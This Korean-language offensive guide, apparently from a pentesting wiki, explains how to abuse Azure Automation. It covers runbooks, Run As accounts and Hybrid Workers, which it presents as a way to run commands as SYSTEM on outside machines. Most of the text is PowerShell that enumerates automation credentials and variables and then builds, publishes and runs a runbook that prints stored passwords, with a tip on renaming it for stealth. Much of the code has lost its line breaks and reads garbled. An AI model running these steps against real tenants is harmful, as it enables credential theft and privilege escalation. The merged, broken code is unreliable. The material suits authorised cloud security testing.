문서에서 찾아보기: Azure Automation은 클라우드 기반 자동화, 운영 체제 업데이트 및 구성 서비스를 제공하여 Azure 및 비 Azure 환경에서 일관된 관리를 지원합니다. 프로세스 자동화, 구성 관리, 업데이트 관리, 공유 기능 및 이종 기능이 포함됩니다.
이는 Azure의 "예약된 작업"으로, Azure 환경을 관리, 확인 및 구성하기 위해 작업(동작 또는 스크립트)을 실행할 수 있게 해줍니다.
실행 계정
실행 계정을 사용하면 자체 서명된 인증서로 Azure AD 응용 프로그램을 생성하고, 서비스 주체를 생성하며, 현재 구독의 계정에 기여자 역할을 할당합니다(많은 권한).
Microsoft는 자동화 계정에 관리 ID를 사용하는 것을 권장합니다.
이는 2023년 9월 30일에 제거되고 관리 ID로 변경될 예정입니다.
Runbooks 및 작업
Runbooks를 사용하면 임의의 PowerShell 코드를 실행할 수 있습니다. 이는 공격자가 연결된 주체의 권한을 도용하는 데 사용될 수 있습니다.
Runbooks의 코드에서는 자격 증명과 같은 민감한 정보도 찾을 수 있습니다.
Runbook은 Azure 내부의 컨테이너 또는 Hybrid Worker(비 Azure 기계)에서 실행될 수 있습니다.
Log Analytics Agent가 VM에 배포되어 하이브리드 워커로 등록됩니다.
하이브리드 워커 작업은 Windows에서 SYSTEM으로, Linux에서 nxautomation 계정으로 실행됩니다.
각 하이브리드 워커는 하이브리드 워커 그룹에 등록됩니다.
따라서 Windows Hybrid Worker에서 Runbook을 실행할 수 있다면 외부 기계에서 System으로 임의의 명령을 실행할 수 있습니다(좋은 피벗 기법).
구성 상태 구성 (SC) 침해
문서에서 찾아보기: Azure Automation 상태 구성은 Azure 구성 관리 서비스로, 클라우드 또는 온-프레미스 데이터 센터의 노드에 대한 PowerShell Desired State Configuration (DSC) 구성을 작성, 관리 및 컴파일할 수 있게 해줍니다. 이 서비스는 DSC 리소스를 가져오고, 대상 노드에 구성을 할당하며, 모두 클라우드에서 수행합니다. Azure 포털에서 Azure Automation 상태 구성에 액세스하려면 구성 관리 아래의 **상태 구성 (DSC)**를 선택하세요.
# Check user right for automationaz extension add --upgrade -n automationaz automation account list # if it doesn't return anything the user is not a part of an Automation group# Gets Azure Automation accounts in a resource groupGet-AzAutomationAccount# List & get DSC configsGet-AzAutomationAccount|Get-AzAutomationDscConfigurationGet-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)# List & get Run books codeGet-AzAutomationAccount|Get-AzAutomationRunbookGet-AzAutomationAccount|Get-AzAutomationRunbook|Export-AzAutomationRunbook-OutputFolder /tmp# List credentials & variables & othersGet-AzAutomationAccount|Get-AzAutomationCredentialGet-AzAutomationAccount|Get-AzAutomationVariableGet-AzAutomationAccount|Get-AzAutomationConnectionGet-AzAutomationAccount|Get-AzAutomationCertificateGet-AzAutomationAccount|Get-AzAutomationScheduleGet-AzAutomationAccount|Get-AzAutomationModuleGet-AzAutomationAccount|Get-AzAutomationPython3Package## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them# List hybrid workersGet-AzAutomationHybridWorkerGroup-AutomationAccountName <AUTOMATION-ACCOUNT>-ResourceGroupName <RG-NAME>
런북 생성
# Get the role of a user on the Automation account# Contributor or higher = Can create and execute RunbooksGet-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>
# Create a Powershell RunbookImport-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose
# Publish the RunbookPublish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
# Start the RunbookStart-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
실행 북을 사용하여 자동화 계정에 정의된 자격 증명 및 변수 유출하기
# Change the crdentials & variables names and add as many as you need@'$creds = Get-AutomationPSCredential -Name <credentials_name>$runbook_variable = Get-AutomationVariable -name <variable_name>$runbook_variable$creds.GetNetworkCredential().username$creds.GetNetworkCredential().password'@|out-file-encoding ascii 'runbook_get_creds.ps1'$ResourceGroupName ='<resource_group_name>'$AutomationAccountName ='<auto_acc_name>'$RunBookName ='Exif-Credentials'#Change this for stealthness# Creare Run book, publish, start, and get outputNew-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep20($start |Get-AzAutomationJob|Get-AzAutomationJobOutput).Summarynt
동일한 작업을 수행하여 기존의 Run Book을 수정하거나 웹 콘솔에서 수행할 수도 있습니다.